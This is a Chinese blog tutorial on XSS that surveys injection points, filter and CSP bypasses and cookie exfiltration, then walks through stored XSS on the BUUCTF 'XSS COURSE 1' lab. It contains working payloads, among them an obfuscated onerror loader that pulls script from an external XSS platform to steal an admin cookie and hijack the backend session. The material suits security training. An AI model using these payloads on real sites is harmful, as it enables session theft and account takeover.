XSS的基础与BUU XSS COURSE 1靶场练习

分类:反弹型、储存型

一、注入点

1、html标签之间

<h1>hello <?=$name?></h1>
payload:<script>alert</script>

2、标签属性中

<input type="text" name="test123" value="<?=$name?>">
payload:<input type="test" name=“test23” value="" autofocus onfocus="alert(1)">

伪协议 

<a href="javascript:alert(1)">clik</a>
<iframe src="javascript:alert(1)"></iframe>

 3、javascript变量中

<?php
 $name = $_GET['name'];
?>
<!DOCTYPE html>
<html>
<head>
        <title>test</title>
</head>
<body>
        <script type="text/javascript">
                var name = "<?=$name?>";
                document.write("hello "+name);
        </script>
</body>
</html>

payload:?name=lusong"%2balert(1);//        %2b ------ +
         ?name=lusong";alert(1);//          换行执行

二、漏洞利用与绕过方法

两个层:WAF、代码层

1、黑名单绕过

        寻找没有被过滤的标签

2、双写、大小写转换

        双写:在直接将一些关键字用空字符替换的时候可以用

        大小写转换:过滤的时候没考虑大小写问题

2、利用标签事件

        比如标签点击、聚焦、鼠标动作事件来触发代码执行

        标签闭合:注入点在标签属性中,闭合标签使注入点在=变成一个独立的标签

3、HTML实体编码和js编码

html实体解析也不是在构建DOM树时解码的,所以被实体编码的字符在构建DOM树时不能被识别,比如 <>、src=、type=、href= 等等

 但可以通过实体编码绕过后台过滤检测,比如用在<a>标签href属性里注入恶意代码,当点击的时候会也解码后的内容执行(个人还不是很理解,源代码里是没解码的但查看元素是解码的,a标签执行跳转内容是也元素为准吗?)

如xss平台level8:

JS解析器可对Unicode 编码进行解码,但编码后的数据不能作为js代码,不如编码后的 引号、函数等不能执行。

 页面原有js代码的js解析实在构建DOM树之前完成,所有js编码解析在html实体解析之前

4、变量组合函数

如果对js函数进行了过滤,可以用变量组合来构成函数,如对eva()函数进行过滤

aaa=eval;
aaa("evil code");

5、攻击语句逃逸(闭合javascript语句)

<script>
var name = "<?=$name?>";
</script>

输入:?name=test";alert(1);//

变成:var name = "test";alert(1);//"

转义字符利用

过滤了引号,在如下场景可以转义 \ 

<script>
var name ="<?=name?>"+"<?=age?>";
</script>

输入:?name=test\&age=;alert(1);//

变成:var name ="test\"+";alert(1);";

反引号也可作为javascript边界字符(过滤不充分)

7、隐藏payload于location.hash中

location.hash:hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分

https://www.baidu.com#admin

location.hash 就为#admin

 #admin不会传输到服务端,所以不存在过滤。 

8、CSP过滤及绕过

CSP 内容安全策略,即规定只允许加载哪些特定资源,

如下:只运行加载来自  *.baidu.com 的javascript代码 

<?php
header('Content-Security-Policy: script-src *.baidu.com')
?>

对应 script-src 'self'  即只允许加载同源js文件,可以利用 文件上传,JSON接口来写入我们的恶意代码到服务端,再加载,这样就符合同源。

9、数据外带

link标签

<link rel="prefetch" href="http://xxx.com/?cookie=xxx">
<link rel="dns-prefetch" href="http://xxx.com/?cookie=xxx">

页面跳转

location.href="http://xxx.com/?cookie="+escape(document.cookie)

三、DOM XSS

对DOM树节点进行增加,或修改,引入被污染的变量,从而导致XSS。

四、二次渲染导致 XSS

典型的 用AngularJS存在模板注入

五、储存型XSS

​​​​​​​​​​​​​​BUUCTFicon-default.png?t=M276https://buuoj.cn/

BUU XSS COURSE 1 

 有给留言板功能,典型的储存型。

输入 <img src="#">

则判断存在注入点,

现在思路是在服务端的代码头部添加我们的javascript源

<head>
<script href="http://xxx.com">
</head>

 先通过吐槽框将我们的payload  提交到服务端,服务端会将这个数据保存并显示在留言板上,只要有人访问这个留言板,就会触发我们的代码。

我们的payload 通过在head 中添加我们自己的XSS平台的javascript源,即每当有人访问留言板就会触发我们的payload 并且会引入我们的JS文件。

document.createElement() 会创建一个标签

 即我们可以创建

<script href="http://www.xssye.com/fA8U">   //xss平台 

推荐 https://xssaq.com/xss.php?do=login
也可以自己搭建 推挤 蓝莲花 搭建非常简单

构建js代码 

eval(unescape(/var b;b=document.createElement("script");b.src="http://www.xssye.com/fA8U";(document.getElementsByTagName("HEAD"))[0].appendChild(b);/.source))

放在<img>标签的onerror属性中

<img src="#" onerror=eval(unescape(/var b;b=document.createElement("script");b.src="http://www.xssye.com/fA8U";(document.getElementsByTagName("HEAD"))[0].appendChild(b);/.source))>

 将/.../中的进行URL编码(特殊符号也要编码)

<img src="#" onerror=eval(unescape(/var%20b%3Bb%3Ddocument.createElement(%22script%22)%3Bb.src%3D%22http%3A%2F%2Fwww.xssye.com%2FfA8U%22%3B(document.getElementsByTagName(%22HEAD%22))%5B0%5D.appendChild(b)%3B/.source))>

 j将数据丢入输入框,提交

进入留言页面,参看源码head,发现我们的<script>标签及内容成功注入。

 

 并且已经下载了我们XSS平台上的代码 

返回XSS平台,查看消息,发现有两条,一条是我们访问留言板时的信息,另一条可以看到访问页面有 admin.php页面,这这个可能登录的后台,可以用他的cookie假冒访问admin.php, 

 

访问 /backend/admin.php 并且更改cookie内容

 

 

 

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
靶场,是指为信息安全人员提供实战演练、渗透测试和攻防对抗等训练环境的虚拟或实体场地。在不同的领域中,靶场扮演着重要的角色,尤其是在网络安全领域,靶场成为培养和提高安全专业人员技能的重要平台。 首先,靶场安全从业者提供了一个模拟真实网络环境的平台。通过构建类似实际网络的拓扑结构、部署各种安全设备和应用,靶场可以模拟出多样化的网络攻防场景。这使得安全人员能够在安全的环境中进行实际操作,全面提升其实战能力。 其次,靶场是渗透测试和漏洞攻防演练的理想场所。在靶场中,安全专业人员可以模拟攻击者的行为,发现系统和应用的漏洞,并进行渗透测试,从而及时修复和改进防御机制。同时,这也为防御方提供了锻炼机会,通过对抗攻击提高防御能力。 靶场的搭建还促进了团队协作与沟通。在攻防对抗中,往往需要多人协同作战,团队成员之间需要密切配合,共同制定攻击和防御策略。这有助于培养团队合作意识,提高协同作战的效率。 此外,靶场为学习者提供了一个安全的学习环境。在靶场中,学生可以通过实际操作掌握安全知识,了解攻击技术和防御策略。这样的学习方式比传统的理论课程更加生动直观,有助于深化对安全领域的理解。 最后,靶场也是安全社区交流的平台。在靶场中,安全从业者可以分享攻防经验,交流最新的安全威胁情报,共同探讨解决方案。这有助于建立更广泛的安全社区,推动整个行业的发展。 总体而言,靶场在信息安全领域具有重要地位,为安全专业人员提供了实战演练的机会,促进了团队协作与沟通,为学习者提供了安全的学习环境,同时也是安全社区交流的重要平台。通过靶场的实践操作,安全从业者能够更好地应对不断演变的网络威胁,提高整体的安全水平。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值